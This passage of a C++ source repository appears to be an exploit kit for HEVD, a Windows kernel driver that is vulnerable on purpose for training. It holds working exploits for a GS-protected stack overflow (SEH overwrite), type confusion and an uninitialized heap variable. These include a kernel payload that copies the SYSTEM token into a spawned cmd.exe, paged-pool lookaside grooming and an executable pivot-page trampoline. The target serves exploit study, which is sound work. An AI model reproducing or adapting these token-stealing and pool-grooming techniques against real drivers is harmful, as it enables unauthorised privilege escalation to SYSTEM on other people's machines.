40 | 		Buffer_Size
41 | 	);
42 | 	
43 | 	return ret;
44 | }
45 | 


--------------------------------------------------------------------------------
/StackOverflow.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitStackOverflow : public IExploit {
 8 | 	static constexpr wchar_t *Exploit_Name = L"Stack Overflow";
 9 | 	static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_STACK_OVERFLOW;
10 | 	
11 | public:
12 | 	ExploitStackOverflow(Driver& driver) : IExploit(driver) {}
13 | 	virtual ~ExploitStackOverflow() {}
14 | 	
15 | 	virtual const wchar_t* getName() const { 
16 | 		return ExploitStackOverflow::Exploit_Name;
17 | 	};
18 | 	
19 | 	virtual DWORD getIoctlCode() const {
20 | 		return ExploitStackOverflow::Ioctl_Code;
21 | 	}
22 | 	
23 | 	virtual bool exploit();
24 | };
25 | 


--------------------------------------------------------------------------------
/StackOverflowGS.cpp:
--------------------------------------------------------------------------------
  1 | 
  2 | #include <ntstatus.h>
  3 | #include <cassert>
  4 | #include "StackOverflowGS.h"
  5 | #include "payloads.h"
  6 | 
  7 | 
  8 | typeZwClose                 ZwClose;
  9 | typeZwOpenProcess           ZwOpenProcess;
 10 | typeZwDuplicateToken        ZwDuplicateToken;
 11 | typeZwOpenProcessToken      ZwOpenProcessToken;
 12 | typeZwTerminateProcess		ZwTerminateProcess;
 13 | typeObDerefenceObject		ObDereferenceObject;
 14 | typePsGetCurrentProcess     PsGetCurrentProcess;
 15 | typeZwSetInformationProcess ZwSetInformationProcess;
 16 | typePsReferencePrimaryToken	PsReferencePrimaryToken;
 17 | typePsLookupProcessByProcessId PsLookupProcessByProcessId;
 18 | 
 19 | DWORD g_dwProcessIdToElevate;
 20 | 
 21 | 
 22 | template<typename apiType>
 23 | bool resolveApi(DWORD kernelBase, HINSTANCE hKernel, const string& apiName, apiType& apiPtr)
 24 | {
 25 | 	static size_t counter = 0;
 26 | 	const wstring apiNameWide = wstring(apiName.begin(), apiName.end());
 27 | 	
 28 | 	apiPtr = reinterpret_cast<apiType>(GetProcAddress(
 29 | 		hKernel, 
 30 | 		apiName.c_str()
 31 | 	));
 32 | 	if(!apiPtr) {
 33 | 		wcerr << L"[!] Could not get address of: (" << apiNameWide
 34 | 			<< L"). Error: " << getErrorString(GetLastError()) << endl;
 35 | 		return false;
 36 | 	}
 37 | 	
 38 | 	apiPtr = reinterpret_cast<apiType>(
 39 | 		(reinterpret_cast<DWORD>(apiPtr) - reinterpret_cast<DWORD>(hKernel)) + kernelBase
 40 | 	);
 41 | 	
 42 | 	wcout << L"\tAPI[ " << counter << L"]: " << apiNameWide 
 43 | 		<< L" located at: 0x" << setw(8) << setfill(L'0') 
 44 | 		<< reinterpret_cast<DWORD>(apiPtr) << endl;
 45 | 	
 46 | 	counter ++;
 47 | 	return true;
 48 | }
 49 | 
 50 | bool
 51 | ExploitStackOverflowGS::resolveKernelApis()
 52 | {
 53 | 	ULONG kernelModuleBase;
 54 | 	DWORD kernelModuleSize;
 55 | 	wstring kernelModuleName;
 56 | 	
 57 | 	tie(kernelModuleBase, kernelModuleSize, kernelModuleName) = driver.GetKernelModuleInfos();
 58 | 	
 59 | 	HINSTANCE hKernel = LoadLibraryExW(
 60 | 		kernelModuleName.c_str(),
 61 | 		NULL,
 62 | 		DONT_RESOLVE_DLL_REFERENCES
 63 | 	);
 64 | 	if(!hKernel) {
 65 | 		wcerr << L"[!] Could not load kernel's library (" << kernelModuleName << L"). Error: "
 66 | 			<< getErrorString(GetLastError()) << endl;
 67 | 		return false;
 68 |  	}
 69 |  	
 70 |  	wcout << L"[+] Resolving kernel (" << kernelModuleName << L") APIs..." << endl;
 71 | 	
 72 | 	if(!resolveApi(kernelModuleBase, hKernel, "ZwClose", ZwClose)) return false;
 73 | 	if(!resolveApi(kernelModuleBase, hKernel, "ZwOpenProcess", ZwOpenProcess)) return false;
 74 | 	if(!resolveApi(kernelModuleBase, hKernel, "ZwDuplicateToken", ZwDuplicateToken)) return false;
 75 | 	if(!resolveApi(kernelModuleBase, hKernel, "ZwOpenProcessToken", ZwOpenProcessToken)) return false;
 76 | 	if(!resolveApi(kernelModuleBase, hKernel, "ZwTerminateProcess", ZwTerminateProcess)) return false;
 77 | 	if(!resolveApi(kernelModuleBase, hKernel, "PsGetCurrentProcess", PsGetCurrentProcess)) return false;
 78 | 	if(!resolveApi(kernelModuleBase, hKernel, "ObDereferenceObject", ObDereferenceObject)) return false;	
 79 | 	if(!resolveApi(kernelModuleBase, hKernel, "ZwSetInformationProcess", ZwSetInformationProcess)) return false;
 80 | 	if(!resolveApi(kernelModuleBase, hKernel, "PsReferencePrimaryToken", PsReferencePrimaryToken)) return false;
 81 | 	if(!resolveApi(kernelModuleBase, hKernel, "PsLookupProcessByProcessId", PsLookupProcessByProcessId)) return false;
 82 | 		
 83 | 	return true;
 84 | }
 85 | 
 86 | NTSTATUS 
 87 | ExploitStackOverflowGS::ElevatePrivilegesPayload()
 88 | {
 89 | #ifdef USE_INT_3_IN_SHELLCODE
 90 | 	asm("int $3");
 91 | #endif
 92 | 	
 93 | 	OBJECT_ATTRIBUTES ObjectAttributes;
 94 | 	NTSTATUS ntStatus = STATUS_SUCCESS;
 95 | 	PEPROCESS TargetProcess = NULL;
 96 | 	HANDLE hSystem = NULL;
 97 | 	HANDLE hSystemToken = NULL;
 98 | 	HANDLE hNewPrivilegedToken = NULL;
 99 | 	HANDLE hTargetProcess = NULL;
100 | 	PROCESS_ACCESS_TOKEN AccessToken = { 0 };
101 | 	CLIENT_ID SystemClientId = {
102 | 		reinterpret_cast<HANDLE>(4),		// SYSTEM process id (PID)
103 | 		NULL
104 | 	};
105 | 	
106 | 	CLIENT_ID TargetClientId = {
107 | 		reinterpret_cast<HANDLE>(g_dwProcessIdToElevate),
108 | 		NULL
109 | 	};
110 | 	
111 | 	InitializeObjectAttributes(
112 | 		&ObjectAttributes, 
113 | 		NULL, 
114 | 		0, 
115 | 		NULL, 
116 | 		NULL
117 | 	);
118 | 	
119 | 	// Step 1: Open SYSTEM's process
120 | 	ntStatus = ZwOpenProcess(
121 | 		&hSystem, 
122 | 		GENERIC_ALL, 
123 | 		&ObjectAttributes, 
124 | 		&SystemClientId
125 | 	);
126 | 	
127 | 	if(!NT_SUCCESS(ntStatus)) {
128 | 		goto err;
129 | 	}
130 | 	
131 | 	// Step 2: Get SYSTEM's process Token
132 | 	ntStatus = ZwOpenProcessToken(
133 | 		hSystem, 
134 | 		GENERIC_ALL, 
135 | 		&hSystemToken
136 | 	);
137 | 	
138 | 	if(!NT_SUCCESS(ntStatus)) {
139 | 		goto err;
140 | 	}
141 | 	
142 | 	InitializeObjectAttributes(
143 | 		&ObjectAttributes, 
144 | 		NULL, 
145 | 		0, 
146 | 		NULL, 
147 | 		NULL
148 | 	);
149 | 	
150 | 	// Step 3: Duplicate SYSTEM's process Token
151 | 	ntStatus = ZwDuplicateToken(
152 | 		hSystemToken, 
153 | 		TOKEN_ALL_ACCESS, 
154 | 		&ObjectAttributes, 
155 | 		TRUE, 
156 | 		TokenPrimary, 
157 | 		&hNewPrivilegedToken
158 | 	);
159 | 	
160 | 	if(!NT_SUCCESS(ntStatus)) {
161 | 		goto err;
162 | 	}
163 | 	
164 | 	InitializeObjectAttributes(
165 | 		&ObjectAttributes, 
166 | 		NULL, 
167 | 		0, 
168 | 		NULL, 
169 | 		NULL
170 | 	);
171 | 	
172 | 	// Step 4: Open target process
173 | 	ntStatus = ZwOpenProcess(
174 | 		&hTargetProcess, 
175 | 		GENERIC_ALL, 
176 | 		&ObjectAttributes, 
177 | 		&TargetClientId
178 | 	);
179 | 	
180 | 	if(!NT_SUCCESS(ntStatus)) {
181 | 		goto err;
182 | 	}
183 | 
184 | 	AccessToken.Token = hNewPrivilegedToken;
185 | 	
186 | #ifdef USE_INT_3_IN_SHELLCODE
187 | 	asm("int $3");
188 | #endif
189 | 
190 | 	// Fix the issue with PrimaryTokenFrozen
191 | 	ntStatus = PsLookupProcessByProcessId(
192 | 		reinterpret_cast<HANDLE>(g_dwProcessIdToElevate),
193 | 		&TargetProcess
194 | 	);
195 | 	
196 | 	if(!NT_SUCCESS(ntStatus)) {
197 | 		goto err;
198 | 	}
199 | 		
200 | 	TargetProcess->PrimaryTokenFrozen = 0;
201 | 	
202 | 	ObDereferenceObject(TargetProcess);
203 | 	
204 | #ifdef USE_INT_3_IN_SHELLCODE
205 | 	asm("int $3");
206 | #endif
207 | 
208 | 	// Step 5: Set duplicated system's token to the target process' token
209 | 	ntStatus = ZwSetInformationProcess(
210 | 		hTargetProcess,
211 | 		ProcessAccessToken,
212 | 		&AccessToken,
213 | 		sizeof(PROCESS_ACCESS_TOKEN)
214 | 	);
215 | 	
216 | err:
217 | 	if(hNewPrivilegedToken != NULL) {
218 | 		ZwClose(hNewPrivilegedToken);
219 | 	}
220 | 	
221 | 	if(hTargetProcess != NULL) {
222 | 		ZwClose(hTargetProcess);
223 | 	}
224 | 	
225 | 	if(hSystem != NULL) {
226 | 		ZwClose(hSystem);
227 | 	}
228 | 	
229 | 	if(hSystemToken != NULL) {
230 | 		ZwClose(hSystemToken);
231 | 	}
232 | 
233 | #ifdef USE_INT_3_IN_SHELLCODE
234 | 	asm("int $3");
235 | #endif	
236 | 	ZwTerminateProcess(
237 | 		GetCurrentProcess(),
238 | 		STATUS_SUCCESS
239 | 	);
240 | 	
241 | 	return ntStatus;
242 | }
243 | 
244 | 
245 | bool 
246 | ExploitStackOverflowGS::exploit() {
247 | 	
248 | 	static const size_t Page_Size = 4096;
249 | 	static const size_t SEH_Overwrite_Offset = 0x210;
250 | 	
251 | 	if(!resolveKernelApis()) {
252 | 		return false;
253 | 	}
254 | 	
255 | 	assert(ZwClose != nullptr);
256 | 	
257 | 	auto shellcodePointer = reinterpret_cast<void*>(
258 | 		ExploitStackOverflowGS::ElevatePrivilegesPayload
259 | 	);
260 | 	
261 | 	wcout << L"[+] The Kernel shellcode is located at: " << setw(8) 
262 | 			<< setfill(L'0') << hex << shellcodePointer << endl;
263 | 	
264 | 	wcout << L"[+] Step 1: Create anonymous file mapping" << endl;	
265 | 	
266 | 	HANDLE mapping = CreateFileMapping(
267 | 		INVALID_HANDLE_VALUE,
268 | 		NULL,
269 | 		PAGE_EXECUTE_READWRITE,
270 | 		0,
271 | 		Page_Size,
272 | 		NULL
273 | 	);
274 | 	
275 | 	if(!mapping) {
276 | 		wcerr << L"[!] Could not create anonymous file mapping! Error: 0x" << hex 
277 | 			<< setw(8) << setfill(L'0') << GetLastError() << endl;
278 | 		return false;
279 | 	}
280 | 	
281 | 	wcout << L"[+] Step 2: Mapping view of file" << endl;	
282 | 	
283 | 	LPVOID mappedRegion = MapViewOfFile(
284 | 		mapping,
285 | 		FILE_MAP_ALL_ACCESS,
286 | 		0,
287 | 		0,
288 | 		Page_Size
289 | 	);
290 | 	
291 | 	if(!mappedRegion) {
292 | 		wcerr << L"[!] Could not map view of file! Error: 0x" << hex 
293 | 			<< setw(8) << setfill(L'0') << GetLastError() << endl;
294 | 		CloseHandle(mapping);
295 | 		return false;
296 | 	}
297 | 	
298 | 	PVOID bufferPointer = reinterpret_cast<PVOID>(
299 | 		reinterpret_cast<ULONG>(mappedRegion) + 
300 | 		(static_cast<ULONG>(Page_Size - SEH_Overwrite_Offset - 4))
301 | 	);
302 | 	
303 | 	wcout << L"\tFile mapping region at: " << hex << setw(8) << setfill(L'0') << mappedRegion 
304 | 		<< L"\n\tAttacker prepared buffer at: " << hex << setw(8) << setfill(L'0') 
305 | 		<< bufferPointer << endl; 
306 | 		
307 | 	memset(bufferPointer, 'A', SEH_Overwrite_Offset);
308 | 	
309 | 	*(reinterpret_cast<DWORD*>(
310 | 		&reinterpret_cast<unsigned char*>(bufferPointer)[SEH_Overwrite_Offset]
311 | 	)) = reinterpret_cast<DWORD>(shellcodePointer);
312 | 	
313 | 	g_dwProcessIdToElevate = spawnProcessAndGetPID(L"C:\\Windows\\system32\\cmd.exe");
314 | 	if(!g_dwProcessIdToElevate) {
315 | 		return false;
316 | 	}
317 | 	
318 | 	wcout << L"[+] The process' PID to be eleveated: " << dec << g_dwProcessIdToElevate << endl;
319 | 	
320 | 	Sleep(1000);
321 | 	
322 | 	bool ret = driver.SendIOCTL (
323 | 		ExploitStackOverflowGS::Ioctl_Code,
324 | 		bufferPointer,
325 | 		SEH_Overwrite_Offset + 8
326 | 	);
327 | 	
328 | 	CloseHandle(mapping);
329 | 	return ret;
330 | }
331 | 
332 | 


--------------------------------------------------------------------------------
/StackOverflowGS.h:
--------------------------------------------------------------------------------
  1 | #pragma once
  2 | 
  3 | #include "common.h"
  4 | #include "IExploit.h"
  5 | #include "HevdConstants.h"
  6 | 
  7 | typedef struct _PROCESS_ACCESS_TOKEN {
  8 |     HANDLE Token;
  9 |     HANDLE Thread;
 10 | } PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
 11 | 
 12 | typedef struct _EPROCESS {
 13 |     UCHAR NotNeeded1[0x26C];
 14 |     union {
 15 |         ULONG Flags2;
 16 |         struct {
 17 |             ULONG JobNotReallyActive: 1;
 18 |             ULONG AccountingFolded: 1;
 19 |             ULONG NewProcessReported: 1;
 20 |             ULONG ExitProcessReported: 1;
 21 |             ULONG ReportCommitChanges: 1;
 22 |             ULONG LastReportMemory: 1;
 23 |             ULONG ReportPhysicalPageChanges: 1;
 24 |             ULONG HandleTableRundown: 1;
 25 |             ULONG NeedsHandleRundown: 1;
 26 |             ULONG RefTraceEnabled: 1;
 27 |             ULONG NumaAware: 1;
 28 |             ULONG ProtectedProcess: 1;
 29 |             ULONG DefaultPagePriority: 3;
 30 |             ULONG PrimaryTokenFrozen: 1;
 31 |             ULONG ProcessVerifierTarget: 1;
 32 |             ULONG StackRandomizationDisabled: 1;
 33 |             ULONG AffinityPermanent: 1;
 34 |             ULONG AffinityUpdateEnable: 1;
 35 |             ULONG PropagateNode: 1;
 36 |             ULONG ExplicitAffinity: 1;
 37 |         };
 38 |     };
 39 |     UCHAR NotNeeded2[0x50];
 40 | } EPROCESS, *PEPROCESS;
 41 | 
 42 | 
 43 | typedef NTSTATUS (WINAPI *typeZwClose)(
 44 | 	IN HANDLE 			hObject
 45 | );
 46 | 
 47 | typedef PEPROCESS (WINAPI *typePsGetCurrentProcess)();
 48 | 
 49 | typedef PACCESS_TOKEN (WINAPI *typePsReferencePrimaryToken)(IN OUT PVOID Process);
 50 | 
 51 | typedef NTSTATUS (WINAPI *typeZwOpenProcessToken)(
 52 | 	IN HANDLE      		ProcessHandle,
 53 | 	IN ACCESS_MASK 		DesiredAccess,
 54 | 	OUT PHANDLE    		TokenHandle
 55 | );
 56 |                                                 
 57 | typedef NTSTATUS (WINAPI *typeZwSetInformationProcess)(
 58 | 	IN HANDLE 			hProcess,
 59 | 	IN ULONG  			ProcessInfoClass,
 60 | 	IN PVOID  			ProcessInfo,
 61 | 	IN ULONG  			ProcessInfoLength);
 62 | 
 63 | typedef NTSTATUS (WINAPI *typeZwOpenProcess)(
 64 | 	OUT PHANDLE         ProcessHandle,
 65 | 	IN ACCESS_MASK      DesiredAccess,
 66 | 	IN POBJECT_ATTRIBUTES ObjectAttributes,
 67 | 	IN PCLIENT_ID		ClientId OPTIONAL
 68 | );
 69 | 
 70 | typedef NTSTATUS (WINAPI *typePsLookupProcessByProcessId)(
 71 | 	IN HANDLE ProcessId,
 72 |     OUT PVOID Process
 73 | );
 74 | 
 75 | typedef NTSTATUS (WINAPI *typeObDerefenceObject)(
 76 | 	IN PVOID Object
 77 | );
 78 | 	
 79 | typedef NTSTATUS (WINAPI *typeZwDuplicateToken)(
 80 | 	IN HANDLE           ExistingTokenHandle,
 81 | 	IN ACCESS_MASK      DesiredAccess,
 82 | 	IN POBJECT_ATTRIBUTES ObjectAttributes,
 83 | 	IN BOOLEAN          EffectiveOnly,
 84 | 	IN TOKEN_TYPE       TokenType,
 85 | 	OUT PHANDLE         NewTokenHandle
 86 | );
 87 | 
 88 | typedef NTSTATUS (WINAPI *typeZwTerminateProcess)(
 89 | 	IN HANDLE 			ProcessHandle,
 90 | 	IN NTSTATUS 		ExitStatus
 91 | );
 92 | 
 93 | 
 94 | class ExploitStackOverflowGS : public IExploit {
 95 | 	static constexpr wchar_t *Exploit_Name = L"Stack Overflow GS";
 96 | 	static constexpr DWORD Ioctl_Code = HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS;
 97 | 	
 98 | public:
 99 | 	ExploitStackOverflowGS(Driver& driver) : IExploit(driver) {}
100 | 	virtual ~ExploitStackOverflowGS() {}
101 | 	
102 | 	virtual const wchar_t* getName() const { 
103 | 		return ExploitStackOverflowGS::Exploit_Name;
104 | 	};
105 | 	
106 | 	virtual DWORD getIoctlCode() const {
107 | 		return ExploitStackOverflowGS::Ioctl_Code;
108 | 	}
109 | 	
110 | 	virtual bool exploit();
111 | 	
112 | 	bool resolveKernelApis();
113 | 	static NTSTATUS ElevatePrivilegesPayload();
114 | };
115 | 


--------------------------------------------------------------------------------
/TypeConfusion.cpp:
--------------------------------------------------------------------------------
 1 | #include "TypeConfusion.h"
 2 | 
 3 | bool 
 4 | ExploitTypeConfusion::exploit() {
 5 | 	
 6 | 	struct TypeConfusionObject {
 7 | 		DWORD unknown;
 8 | 		void *callback;
 9 | 	};
10 | 	
11 | 	auto shellcodePointer = adjustPayloadEpilogue(0, true);
12 | 	
13 | 	TypeConfusionObject object = {
14 | 		0,
15 | 		*shellcodePointer
16 | 	};
17 | 	
18 | 	driver.SendIOCTL (
19 | 		ExploitTypeConfusion::Ioctl_Code,
20 | 		&object,
21 | 		sizeof(object)
22 | 	);
23 | 	
24 | 	// We return true here, as the driver's SEH will catch the exception
25 | 	// anyway, no matter the fact that our kernel shellcode has been launched
26 | 	// already.
27 | 	return true;
28 | }
29 | 


--------------------------------------------------------------------------------
/TypeConfusion.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitTypeConfusion : public IExploit {
 8 | 	static constexpr wchar_t *Exploit_Name 	= L"Type Confusion";
 9 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_TYPE_CONFUSION;
10 | 	
11 | public:
12 | 	ExploitTypeConfusion(Driver& driver) : IExploit(driver) {}
13 | 	virtual ~ExploitTypeConfusion() {	}
14 | 	
15 | 	virtual const wchar_t* getName() const { 
16 | 		return ExploitTypeConfusion::Exploit_Name;
17 | 	};
18 | 	
19 | 	virtual DWORD getIoctlCode() const {
20 | 		return ExploitTypeConfusion::Ioctl_Code;
21 | 	}
22 | 	
23 | 	virtual bool exploit();
24 | 	
25 | private:
26 | 
27 | };
28 | 


--------------------------------------------------------------------------------
/UninitializedHeapVariable.cpp:
--------------------------------------------------------------------------------
  1 | #include "UninitializedHeapVariable.h"
  2 | 
  3 | bool 
  4 | ExploitUninitializedHeapVariable::exploit() {
  5 | 
  6 | 	// This object's size is: 0xF0 (240) bytes
  7 | 	struct UninitializedHeapVariableObject {
  8 | 		DWORD unknown;
  9 | 		void *callback;
 10 | 		char fill[232];
 11 | 	};
 12 | 
 13 | 	UninitializedHeapVariableObject obj;
 14 | 	memset(&obj, 0, sizeof(obj));
 15 | 	
 16 | 	obj.unknown = 0xDEADBABE;
 17 | 	
 18 | 	// Step 1: 
 19 | 	//	We have to wait for the Kernel Pool lookaside lists to initialize,
 20 | 	// 			what occurs after two minutes since system boot.
 21 | 	wcout << L"[+] Step 1: Assure that kernel pool lookaside lists are lazy-activated." << endl;
 22 | 	
 23 | 	/* Step 2: 
 24 | 		by Ashfaq Ansari:
 25 | 			Next stage of exploitation is to make sure that _KPRCB.PPPagedLookasideList[0x1E]
 26 | 	         ((((0xF0+0xF) >> 3) - 1) = 0x1E) is populated.
 27 | 	
 28 | 	         If the payload address contains NULL, then the exploitation will fail. So, make sure
 29 | 	         there is no NULL in the payload address.
 30 |     */
 31 |     wcout << L"[+] Step 2: Populating _KPRCB.PPPagedLookasideList[0x1e] ..." << endl;
 32 |     
 33 |     const PVOID payload = tokenStealingPayloadRealPointer;
 34 |     if(!populateLookasideList(payload) ) {
 35 |     	return false;
 36 | 	}
 37 | 	
 38 | 	/* Step 3:
 39 | 		Now that the PagedPool is groomed (allocated contiguosly with every 8th chunk having a hole
 40 | 		of size 0xF0 - the very next PagedPool allocation shall be yielded from Lookaside List for 
 41 | 		block size of 0x1E, thus returning our pre-crafted object!
 42 | 	*/
 43 | 	wcout << L"[+] Step 3: Let's hope, the next allocation takes off from lookaside!" << endl;
 44 | 
 45 | 	bool ret = driver.SendIOCTL (
 46 | 		ExploitUninitializedHeapVariable::Ioctl_Code,
 47 | 		&obj,
 48 | 		sizeof(obj)
 49 | 	);
 50 | 	
 51 | 	return ret;
 52 | }
 53 | 
 54 | void 
 55 | ExploitUninitializedHeapVariable::waitForLookasideLists() {
 56 | 	
 57 | 	static const ULONG Two_Minutes_Ticks = 2 * 60 * 10000 + 100;
 58 | 	const ULONG ticks1 = GetTickCount();
 59 | 	
 60 | 	if (ticks1 > Two_Minutes_Ticks) {
 61 | 		return;
 62 | 	}
 63 | 	else {
 64 | 		const ULONG diff = Two_Minutes_Ticks - ticks1;
 65 | 		wcout << L"[.] Have to wait " << diff / 1000 << L" seconds for Kernel pools Lookaside lists to activate." 
 66 | 			<< endl;
 67 | 			
 68 | 		Sleep(diff);
 69 | 	}
 70 | }
 71 | 
 72 | bool 
 73 | ExploitUninitializedHeapVariable::populateLookasideList(PVOID payload) {
 74 | 	
 75 | 	ULONG pivotAddress = mapUnicodePivotPage(payload);
 76 | 	if(!pivotAddress) {
 77 | 		return false;
 78 | 	}
 79 | 	
 80 | 	/*
 81 | 		by Ashfaq Ansari:
 82 | 			We know that each bucket in LookAsideList can not hold more than 256 free chunks.
 83 | 			
 84 | 			As we are dealing with Named Objects, one of the caveat is, if same static string
 85 | 			is passed to consecutive calls to Object constructor as Object Name, then only one
 86 | 			Pool chunk will be served for all the requests. This will not allow us to populate
 87 | 			LookAsideList and the exploitation will fail.
 88 | 			
 89 | 			To overcome this issue, we need to make sure that the string is random for each call
 90 | 			to Object constructor.
 91 | 			
 92 | 			So, to populate the LookAsideList, allocate 256 objects of same size and then free them.
 93 |     */
 94 |     
 95 |     shared_ptr<HANDLE> eventObjects( 
 96 | 		new HANDLE[Max_Chunks_In_Lookaside_List_Bucket],
 97 | 		
 98 | 		[](HANDLE *ptr) {
 99 | 			for(size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i++) {
100 | 				HANDLE obj = ptr[i];
101 | 				if(obj != reinterpret_cast<HANDLE>(0)) {
102 | 					CloseHandle(obj);
103 | 				}
104 | 			}
105 | 			
106 | 			delete [] ptr;		
107 | 		}
108 | 	);
109 |     
110 |     if(!eventObjects) {
111 |     	throw bad_alloc();
112 | 	}
113 | 	
114 | 	HANDLE *eventObjectsPtr = eventObjects.get();
115 |     
116 |     wcout << L"\t[+] Allocating " << dec << Max_Chunks_In_Lookaside_List_Bucket 
117 | 		<< L" PagedPool chunks via CreateEventW" << endl;
118 | 		
119 |     for(size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i++) {
120 |     	
121 |     	// Random event name generation
122 |     	unsigned char name[Max_Object_Name_Length] = {0};
123 |     	
124 |     	for(size_t j = 0; j < Max_Object_Name_Length - 4; j++) {
125 |     		name[j]	= random('A', 'Z');
126 | 		}
127 | 		
128 | 		// fix the shellcode trampoline:
129 | 		name[4] = (pivotAddress & 0xFF);
130 | 		name[5] = (pivotAddress & 0xFF00) >> 8;
131 | 		name[6] = (pivotAddress & 0xFF0000) >> 16;
132 | 		name[7] = (pivotAddress >> 24);
133 | 		
134 | 		/* 
135 | 			The allocated chunk for the event's name will contain the following data:
136 | 			Chunk+0x00: WW XX YY ZZ AA BB CC DD EE FF GG HH II JJ...
137 | 			
138 | 			Where :
139 | 				XX YY - are the first two bytes of the event's name
140 | 				AA BB CC DD EE FF - are the consecutive bytes from the event's name
141 | 				
142 | 			Event's name:
143 | 				\xXX\xYY\xAA\xBB\xCC\xDD\xEE\xFF - where AA,BB,CC are not values, but rather "unknowns".
144 | 				
145 | 			The first four bytes will not be interesting for us, those are: 
146 | 				WW XX YY ZZ, 
147 | 			(by the way, they will got clobbered - and then zero out - by SLINK_ENTRY.Flink after 
148 | 			putting the chunk into lookaside list for 0x1e bucket) but rather the following four bytes:
149 | 				AA BB CC DD
150 | 			will be essential, since they will constitute register-indirect call:
151 | 				call [eax + 4]		; call into 0xAABBCCDD
152 | 				
153 | 			There will be placed our PIVOT page with the trampoline leading into kernel shellcode.
154 | 		*/
155 | 		
156 | 		eventObjectsPtr[i] = CreateEventW(
157 | 			nullptr, 
158 | 			false,
159 | 			false,
160 | 			
161 | 			// We have constructed an ASCII string buffer, but pretend it is UNICODE - to avoid
162 | 			// destructible null-padding conversion.
163 | 			reinterpret_cast<LPCWSTR>(name)
164 | 		);
165 | 		
166 | 		if(!eventObjectsPtr[i]) {
167 | 			wcout << L"[!] Could not create event! Error: " << GetLastError() << endl;
168 | 			return false;
169 | 		}
170 | 	}
171 |     
172 |     wcout << L"\t[+] Kernel PagedPool grooming by freeing every 8th chunk" << endl;
173 |     
174 |     for( size_t i = 0; i < Max_Chunks_In_Lookaside_List_Bucket; i += 1 ) {
175 |     	CloseHandle(eventObjectsPtr[i]);
176 |     	eventObjectsPtr[i] = static_cast<HANDLE>(0);
177 | 	}
178 | 	
179 | 	return true;
180 | }
181 | 
182 | ULONG
183 | ExploitUninitializedHeapVariable::mapUnicodePivotPage(PVOID payload) {
184 | 	NTSTATUS stat;
185 | 	ULONG pivotAddress;
186 | 	PVOID baseAddress = NULL; 
187 | 	bool mapped = false;
188 | 	ULONG regionSize = 0x1000;
189 | 	
190 | 	typeNtAllocateVirtualMemory NtAllocateVirtualMemory;
191 | 	NtAllocateVirtualMemory  = reinterpret_cast<typeNtAllocateVirtualMemory>(GetProcAddress(
192 | 		GetModuleHandleW(L"ntdll.dll"), 
193 | 		"NtAllocateVirtualMemory"
194 | 	));
195 | 	
196 | 	static const size_t Max_Attempts = (1 << 15) - 1;
197 | 	size_t attempt = 0;
198 | 	
199 | 	while(!mapped && attempt++ < Max_Attempts) {
200 | 		
201 | 		// random pivot page address, form of: 0x00xx00yy
202 | 		pivotAddress = random(0x41, 0x4f);
203 | 		pivotAddress |= random(0x31, 0x3f) << 8;
204 | 		pivotAddress |= random(0x21, 0x2f) << 16;
205 | 		pivotAddress |= random(0x11, 0x1f) << 24;
206 | 		
207 | 		baseAddress = reinterpret_cast<PVOID>(pivotAddress);
208 | 		
209 | 		stat = NtAllocateVirtualMemory (
210 | 			reinterpret_cast<HANDLE>(0xffffffff),
211 | 			&baseAddress,
212 | 			0,
213 | 			&regionSize,
214 | 			MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
215 | 			PAGE_EXECUTE_READWRITE
216 | 		);
217 | 	
218 | 		if(NT_SUCCESS(stat)) {
219 | 			mapped = true;	
220 | 			break;
221 | 		}
222 | 	}
223 | 	
224 | 	if (!mapped) {
225 | 		wcout << L"[!] Could not allocate suitable low-address page, addr: "
226 | 			<< hex << setw(8) << setfill(L'0') << pivotAddress <<  L"!" << endl;
227 | 		wcout << L"\tAttempts: " << dec << attempt << L", Status: " << hex << setw(8) << setfill(L'0') << stat << endl;
228 | 		return 0;
229 | 	}
230 | 	
231 | 	wcout << L"\t[+] Mapped Pivot page at address: " << hex << setw(8) 
232 | 		<< setfill(L'0') << baseAddress << endl;
233 | 		
234 | 	// Setting trampoline:
235 | 	//	68 AA BB CC DD		PUSH kernel_shellcode_address
236 | 	//	C3					RET
237 | 	unsigned char trampoline[] = {
238 | 		0x68,
239 | 		0xaa, 0xbb, 0xcc, 0xdd,
240 | 		0xc3
241 | 	};
242 | 	
243 | 	*(reinterpret_cast<DWORD*>(&trampoline[1])) = reinterpret_cast<DWORD>(payload);
244 | 	
245 | 	wcout << L"\t[+] Setting trampoline at pivot page leading to: " << hex << setfill(L'0') << setw(8)
246 | 		<< payload << endl;
247 | 		
248 | 	// copy the trampoline into pivot page
249 | 	memcpy (
250 | 		reinterpret_cast<void*>(pivotAddress), 
251 | 		trampoline, 
252 | 		sizeof(trampoline)
253 | 	);
254 | 	
255 | 	return pivotAddress;
256 | }
257 | 


--------------------------------------------------------------------------------
/UninitializedHeapVariable.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | 
 8 | class ExploitUninitializedHeapVariable : public IExploit {
 9 | 	static constexpr wchar_t *Exploit_Name 	= L"Uninitialized Heap Variable";
10 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE;
11 | 	
12 | 	static constexpr size_t Chunk_Size = 0xf0 + 8;		// 8 for the _POOL_HEADER
13 | 	static constexpr size_t Max_Chunks_In_Lookaside_List_Bucket = 512;
14 | 	static constexpr size_t Max_Object_Name_Length = (Chunk_Size - 8);
15 | 	
16 | public:
17 | 	ExploitUninitializedHeapVariable(Driver& driver) : IExploit(driver) {
18 | 		srand(static_cast<unsigned>(time(nullptr)));
19 | 	}
20 | 	
21 | 	virtual ~ExploitUninitializedHeapVariable() {	}
22 | 	
23 | 	virtual const wchar_t* getName() const { 
24 | 		return ExploitUninitializedHeapVariable::Exploit_Name;
25 | 	};
26 | 	
